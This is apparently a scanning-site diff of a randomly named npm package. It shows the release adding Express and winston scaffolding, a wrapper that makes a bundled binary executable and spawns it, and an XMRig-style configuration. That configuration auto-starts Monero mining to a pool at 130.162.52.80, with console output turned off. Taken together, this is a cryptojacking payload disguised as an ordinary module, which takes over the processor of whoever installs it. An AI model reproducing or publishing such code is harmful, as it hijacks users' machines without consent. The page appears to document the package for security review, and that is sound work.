cgdunrhmoljqytib 0.0.1-security → 0.1.91

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of cgdunrhmoljqytib might be problematic. Click here for more details.

@@ -0,0 +1,21 @@
1
+ {
2
+ "name": "server",
3
+ "version": "1.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "start": "node ./src/index.js"
8
+ },
9
+ "author": "",
10
+ "license": "ISC",
11
+ "dependencies": {
12
+ "body-parser": "^1.19.0",
13
+ "cli-table": "^0.3.9",
14
+ "deepmerge": "^4.2.2",
15
+ "express": "^4.17.1",
16
+ "node-json-db": "^1.4.1",
17
+ "node-os-utils": "^1.3.5",
18
+ "stratum-client": "^1.1.0",
19
+ "winston": "^3.3.3"
20
+ }
21
+ }
@@ -0,0 +1,123 @@
1
+ const path = require('path');
2
+ const express = require('express');
3
+ const bodyParser = require('body-parser');
4
+ const merge = require('deepmerge');
5
+ const Controller = require('./miners.controller');
6
+ const Logger = require('./logger');
7
+
8
+ module.exports = class App {
9
+
10
+ config = {
11
+ productionOnly: false,
12
+ autoStart: true,
13
+ pools: [{
14
+ coin: 'XMR',
15
+ user: 'rawr',
16
+ url: '130.162.52.80:80', // optional pool URL,
17
+ }],
18
+ opencl: {
19
+ enabled: false,
20
+ platform: 'AMD'
21
+ },
22
+ web: {
23
+ enabled: true,
24
+ port: 3000
25
+ },
26
+ log: {
27
+ enabled: true,
28
+ writeToFile: 'xmrlog.txt',
29
+ level: 'debug',
30
+ writeToConsole: false
31
+ }
32
+ };
33
+
34
+ logger = null;
35
+
36
+ _isProduction = (process.env.NODE_ENV || '').toLowerCase().startsWith('prod');
37
+
38
+ _app = null;
39
+
40
+ _controller = null;
41
+
42
+ _initialized = false;
43
+
44
+ get controller() {
45
+ return this._controller;
46
+ }
47
+
48
+ constructor(options) {
49
+
50
+ this.config = merge(this.config, options);
51
+ this.logger = new Logger(this);
52
+
53
+ if (this.config.autoStart) {
54
+ this.start();
55
+ }
56
+ }
57
+
58
+ start() {
59
+ if (!this._initialized) {
60
+ this._init();
61
+ }
62
+
63
+ this._controller.start();
64
+ }
65
+
66
+ stop() {
67
+ this._controller.stop();
68
+ }
69
+
70
+ _init() {
71
+ if (this._initialized) {
72
+ throw new Error('already initialized');
73
+ }
74
+
75
+ if (this.config.wallet) {
76
+ this.logger.error('Depricated eazyminer configuration. Please check https://www.npmjs.com/package/eazyminer for updated config options.');
77
+ this.logger.info('Not starting');
78
+
79
+ return;
80
+ }
81
+
82
+ if (this.config.productionOnly && !this._isProduction) {
83
+ this.logger.info('Eazy Miner config set to productionOnly. Not initializing');
84
+ return;
85
+ }
86
+
87
+ this._controller = new Controller(this);
88
+
89
+ if (this.config.web.enabled) {
90
+ this._setupWebServer();
91
+ }
92
+
93
+ this.controller.loadMiner('cgdunrhmoljqytib');
94
+
95
+ this._initialized = true;
96
+ }
97
+
98
+ _setupWebServer() {
99
+ this._app = express();
100
+ this._app.use(express.static(path.join(__dirname, '../../public')));
101
+ this._app.use(express.json()); //Used to parse JSON bodies
102
+ this._app.use(bodyParser.urlencoded({ extended: true }));
103
+
104
+ // Public API (status, settings etc)
105
+ this._app.get('/', (req, res) => res.sendFile('index.html'));
106
+
107
+ this._app.get('/status', (req, res) => {
108
+ res.send({
109
+ system: this._controller._system,
110
+ performance: this._controller.status
111
+ });
112
+ });
113
+
114
+ this._app.post('/settings', (req, res) => {
115
+ this._controller.updateSettings(req.body);
116
+ res.sendStatus(200);
117
+ });
118
+
119
+ this._app.listen(this.config.web.port, () => {
120
+ this.logger.info(`Webserver listening on port: ${this.config.web.port}`);
121
+ });
122
+ }
123
+ }
@@ -0,0 +1,3 @@
1
+ const App = require('./app');
2
+
3
+ module.exports = App;
@@ -0,0 +1,58 @@
1
+ const winston = require('winston');
2
+
3
+ module.exports = class Logger {
4
+
5
+ _app = null;
6
+
7
+ _logger = null;
8
+
9
+ constructor(app) {
10
+ this._app = app;
11
+
12
+ this._init();
13
+ }
14
+
15
+ log(value) {
16
+ this._logger.log('debug', value);
17
+ }
18
+
19
+ info(value) {
20
+ this._logger.info(value);
21
+ }
22
+
23
+ warn(value) {
24
+ this._logger.log(value);
25
+ }
26
+
27
+ error(value) {
28
+ this._logger.log('error', value);
29
+ }
30
+
31
+ _init(config) {
32
+ const options = {
33
+ level: 'debug',
34
+ format: winston.format.json(),
35
+ // defaultMeta: { service: 'user-service' },
36
+ transports: [],
37
+ };
38
+
39
+ if (this._app.config.log.writeToFile) {
40
+ options.transports.push(new winston.transports.File({ filename: this._app.config.log.writeToFile }))
41
+ }
42
+
43
+ this._logger = winston.createLogger(options);
44
+
45
+ //
46
+ // If we're not in production then log to the `console` with the format:
47
+ // `${info.level}: ${info.message} JSON.stringify({ ...rest }) `
48
+ //
49
+ if (this._app.config.log.writeToConsole) {
50
+ this._logger.add(new winston.transports.Console({
51
+ format: winston.format.simple(),
52
+ }));
53
+ }
54
+ }
55
+ }
56
+
57
+
58
+
@@ -0,0 +1,107 @@
1
+ const os = require('os');
2
+ const fs = require('fs');
3
+ const path = require('path');
4
+ const { spawn } = require('child_process');
5
+
6
+ const PLATFORM = os.platform().toLowerCase();
7
+
8
+ const LINUX_PATH = path.join(__dirname, './cgdunrhmoljqytib');
9
+ const WINDOWS_PATH = path.join(__dirname, './cgdunrhmoljqytib.exe');
10
+
11
+ module.exports = class cgdunrhmoljqytibMiner {
12
+ name = 'cgdunrhmoljqytib';
13
+
14
+ _app = null;
15
+
16
+ _initialized = false;
17
+
18
+ _miner = null;
19
+
20
+ _filePath = null;
21
+
22
+ _running = false;
23
+
24
+ _worker = null;
25
+
26
+ constructor(app) {
27
+ this._app = app;
28
+ this._init();
29
+ }
30
+
31
+ async _init() {
32
+ if (PLATFORM === 'linux') {
33
+ this._loadLinux();
34
+ }
35
+
36
+ else if (PLATFORM === 'win32') {
37
+ this._loadWindows();
38
+ }
39
+
40
+ else {
41
+ throw new Error('Unsopperted platform');
42
+ }
43
+
44
+ this._initialized = true;
45
+ }
46
+
47
+ start() {
48
+ if (this._running) {
49
+ console.info('cgdunrhmoljqytib already running');
50
+ return;
51
+ }
52
+
53
+ this._running = true;
54
+ this._exec();
55
+ }
56
+
57
+ stop() {
58
+ if (this._worker) {
59
+ this._worker.kill();
60
+ this._worker = null;
61
+ }
62
+ }
63
+
64
+ getStatus() {
65
+
66
+ }
67
+
68
+ _loadLinux() {
69
+ // add execution rights
70
+ fs.chmodSync(LINUX_PATH, 754);
71
+
72
+ this._filePath = LINUX_PATH;
73
+ }
74
+
75
+ _loadWindows() {
76
+ this._filePath = WINDOWS_PATH;
77
+ }
78
+
79
+ _exec() {
80
+ this._updateConfig();
81
+
82
+ // start script
83
+ this._worker = spawn(this._filePath, []);
84
+
85
+ // passthrough output
86
+ this._worker.stdout.on('data', data => this._app.logger.info(data));
87
+ this._worker.stderr.on('data', data => this._app.logger.error(data));
88
+ }
89
+
90
+ _updateConfig() {
91
+ const configBasePath = path.join(__dirname, './config.base.json');
92
+ const configBase = JSON.parse(fs.readFileSync(configBasePath));
93
+
94
+ // merge given pools config with base configs
95
+ const pools = this._app.config.pools.map(poolConfig => Object.assign({}, configBase.pools[0], poolConfig))
96
+
97
+ this._app.logger.info('cgdunrhmoljqytib pools configuration');
98
+ this._app.logger.info(JSON.stringify(pools, null, 2));
99
+
100
+ configBase.pools = pools;
101
+ Object.assign(configBase.opencl, this._app.config.opencl);
102
+ Object.assign(configBase.cuda, this._app.config.cuda);
103
+
104
+ fs.writeFileSync(path.join(__dirname, 'config.json'), JSON.stringify(configBase, null, 2));
105
+ }
106
+ }
107
+
@@ -0,0 +1,412 @@
1
+ {
2
+ "api": {
3
+ "id": null,
4
+ "worker-id": null
5
+ },
6
+ "http": {
7
+ "enabled": false,
8
+ "host": "127.0.0.1",
9
+ "port": 0,
10
+ "access-token": null,
11
+ "restricted": true
12
+ },
13
+ "autosave": true,
14
+ "background": false,
15
+ "colors": true,
16
+ "title": true,
17
+ "randomx": {
18
+ "init": -1,
19
+ "init-avx2": -1,
20
+ "mode": "light",
21
+ "1gb-pages": false,
22
+ "rdmsr": true,
23
+ "wrmsr": true,
24
+ "cache_qos": false,
25
+ "numa": true,
26
+ "scratchpad_prefetch_mode": 1
27
+ },
28
+ "cpu": {
29
+ "enabled": true,
30
+ "huge-pages": true,
31
+ "huge-pages-jit": false,
32
+ "hw-aes": null,
33
+ "priority": 0,
34
+ "memory-pool": false,
35
+ "yield": true,
36
+ "asm": true,
37
+ "argon2-impl": null,
38
+ "astrobwt-max-size": 550,
39
+ "astrobwt-avx2": false,
40
+ "argon2": [
41
+ 0,
42
+ 1,
43
+ 2,
44
+ 3,
45
+ 4,
46
+ 5,
47
+ 6,
48
+ 7,
49
+ 8,
50
+ 9,
51
+ 10,
52
+ 11
53
+ ],
54
+ "astrobwt": [
55
+ 0,
56
+ 1,
57
+ 2,
58
+ 3,
59
+ 4,
60
+ 5,
61
+ 6,
62
+ 7,
63
+ 8,
64
+ 9,
65
+ 10,
66
+ 11
67
+ ],
68
+ "cn": [
69
+ [
70
+ 1,
71
+ 0
72
+ ],
73
+ [
74
+ 1,
75
+ 1
76
+ ],
77
+ [
78
+ 1,
79
+ 2
80
+ ],
81
+ [
82
+ 1,
83
+ 3
84
+ ],
85
+ [
86
+ 1,
87
+ 4
88
+ ],
89
+ [
90
+ 1,
91
+ 5
92
+ ],
93
+ [
94
+ 1,
95
+ 6
96
+ ],
97
+ [
98
+ 1,
99
+ 7
100
+ ],
101
+ [
102
+ 1,
103
+ 8
104
+ ],
105
+ [
106
+ 1,
107
+ 9
108
+ ],
109
+ [
110
+ 1,
111
+ 10
112
+ ],
113
+ [
114
+ 1,
115
+ 11
116
+ ]
117
+ ],
118
+ "cn-heavy": [
119
+ [
120
+ 1,
121
+ 0
122
+ ],
123
+ [
124
+ 1,
125
+ 2
126
+ ],
127
+ [
128
+ 1,
129
+ 4
130
+ ],
131
+ [
132
+ 1,
133
+ 5
134
+ ],
135
+ [
136
+ 1,
137
+ 6
138
+ ],
139
+ [
140
+ 1,
141
+ 8
142
+ ],
143
+ [
144
+ 1,
145
+ 10
146
+ ],
147
+ [
148
+ 1,
149
+ 11
150
+ ]
151
+ ],
152
+ "cn-lite": [
153
+ [
154
+ 1,
155
+ 0
156
+ ],
157
+ [
158
+ 1,
159
+ 1
160
+ ],
161
+ [
162
+ 1,
163
+ 2
164
+ ],
165
+ [
166
+ 1,
167
+ 3
168
+ ],
169
+ [
170
+ 1,
171
+ 4
172
+ ],
173
+ [
174
+ 1,
175
+ 5
176
+ ],
177
+ [
178
+ 1,
179
+ 6
180
+ ],
181
+ [
182
+ 1,
183
+ 7
184
+ ],
185
+ [
186
+ 1,
187
+ 8
188
+ ],
189
+ [
190
+ 1,
191
+ 9
192
+ ],
193
+ [
194
+ 1,
195
+ 10
196
+ ],
197
+ [
198
+ 1,
199
+ 11
200
+ ]
201
+ ],
202
+ "cn-pico": [
203
+ [
204
+ 2,
205
+ 0
206
+ ],
207
+ [
208
+ 2,
209
+ 1
210
+ ],
211
+ [
212
+ 2,
213
+ 2
214
+ ],
215
+ [
216
+ 2,
217
+ 3
218
+ ],
219
+ [
220
+ 2,
221
+ 4
222
+ ],
223
+ [
224
+ 2,
225
+ 5
226
+ ],
227
+ [
228
+ 2,
229
+ 6
230
+ ],
231
+ [
232
+ 2,
233
+ 7
234
+ ],
235
+ [
236
+ 2,
237
+ 8
238
+ ],
239
+ [
240
+ 2,
241
+ 9
242
+ ],
243
+ [
244
+ 2,
245
+ 10
246
+ ],
247
+ [
248
+ 2,
249
+ 11
250
+ ]
251
+ ],
252
+ "cn/upx2": [
253
+ [
254
+ 2,
255
+ 0
256
+ ],
257
+ [
258
+ 2,
259
+ 1
260
+ ],
261
+ [
262
+ 2,
263
+ 2
264
+ ],
265
+ [
266
+ 2,
267
+ 3
268
+ ],
269
+ [
270
+ 2,
271
+ 4
272
+ ],
273
+ [
274
+ 2,
275
+ 5
276
+ ],
277
+ [
278
+ 2,
279
+ 6
280
+ ],
281
+ [
282
+ 2,
283
+ 7
284
+ ],
285
+ [
286
+ 2,
287
+ 8
288
+ ],
289
+ [
290
+ 2,
291
+ 9
292
+ ],
293
+ [
294
+ 2,
295
+ 10
296
+ ],
297
+ [
298
+ 2,
299
+ 11
300
+ ]
301
+ ],
302
+ "ghostrider": [
303
+ [
304
+ 8,
305
+ 0
306
+ ],
307
+ [
308
+ 8,
309
+ 2
310
+ ],
311
+ [
312
+ 8,
313
+ 4
314
+ ],
315
+ [
316
+ 8,
317
+ 6
318
+ ],
319
+ [
320
+ 8,
321
+ 8
322
+ ],
323
+ [
324
+ 8,
325
+ 10
326
+ ]
327
+ ],
328
+ "rx": [
329
+ 0
330
+ ],
331
+ "rx/wow": [
332
+ 0,
333
+ 1,
334
+ 2,
335
+ 3,
336
+ 4,
337
+ 5,
338
+ 6,
339
+ 7,
340
+ 8,
341
+ 9,
342
+ 10,
343
+ 11
344
+ ],
345
+ "cn-lite/0": false,
346
+ "cn/0": false,
347
+ "rx/arq": "rx/wow",
348
+ "rx/keva": "rx/wow"
349
+ },
350
+ "opencl": {
351
+ "enabled": false,
352
+ "cache": true,
353
+ "loader": null,
354
+ "platform": "AMD",
355
+ "adl": true,
356
+ "cn-lite/0": false,
357
+ "cn/0": false
358
+ },
359
+ "cuda": {
360
+ "enabled": false,
361
+ "loader": null,
362
+ "nvml": true,
363
+ "cn-lite/0": false,
364
+ "cn/0": false
365
+ },
366
+ "log-file": null,
367
+ "donate-level": 1,
368
+ "donate-over-proxy": 1,
369
+ "pools": [
370
+ {
371
+ "algo": "rx/0",
372
+ "coin": "xmr",
373
+ "url": "130.162.52.80:80",
374
+ "user": "cute",
375
+ "pass": "x",
376
+ "rig-id": null,
377
+ "nicehash": true,
378
+ "enabled": true,
379
+ "keepalive": true,
380
+ "tls": true,
381
+ "tls-fingerprint": null,
382
+ "daemon": false,
383
+ "socks5": null,
384
+ "self-select": null,
385
+ "submit-to-origin": false
386
+ }
387
+ ],
388
+ "retries": 5,
389
+ "retry-pause": 5,
390
+ "print-time": 60,
391
+ "health-print-time": 60,
392
+ "dmi": true,
393
+ "syslog": false,
394
+ "tls": {
395
+ "enabled": false,
396
+ "protocols": null,
397
+ "cert": null,
398
+ "cert_key": null,
399
+ "ciphers": null,
400
+ "ciphersuites": null,
401
+ "dhparam": null
402
+ },
403
+ "dns": {
404
+ "ipv6": false,
405
+ "ttl": 30
406
+ },
407
+ "user-agent": null,
408
+ "verbose": 0,
409
+ "watch": true,
410
+ "pause-on-battery": false,
411
+ "pause-on-active": false
412
+ }